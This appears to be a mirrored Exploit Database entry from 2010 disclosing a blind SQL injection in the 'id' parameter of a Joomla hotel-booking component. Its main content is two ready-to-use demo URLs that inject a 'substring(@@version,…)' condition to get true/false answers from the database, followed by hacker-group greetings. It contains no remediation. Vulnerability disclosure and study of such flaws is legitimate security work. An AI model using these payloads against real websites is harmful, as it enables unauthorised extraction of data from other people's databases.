Joomla! Component Regional Booking – ‘id’ Blind SQL Injection

• Exploit Database
• 9 阅读

• 作者： Hussin X
  日期： 2010-01-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11061/

• Joomla Component Regional Booking (id) Blind SQL Injection Vulnerability
  ___________________________________
  
  Author: Hussin X
  
  Home : www.IQ-TY.com/vb
  
  ___________________________________
  
  script : http://www.joomlahbs.com/
  
  
  Demo :
  _______
  
  
  http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=4 > ( FALSE )
  
  
  
  http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=5 > ( TRUE )
  
  
  
  
  
  
  Greetz : IQ-SecuritY Members | Milw0rM | SecurityReason
  ALL Arabic Hack And Kurdish hack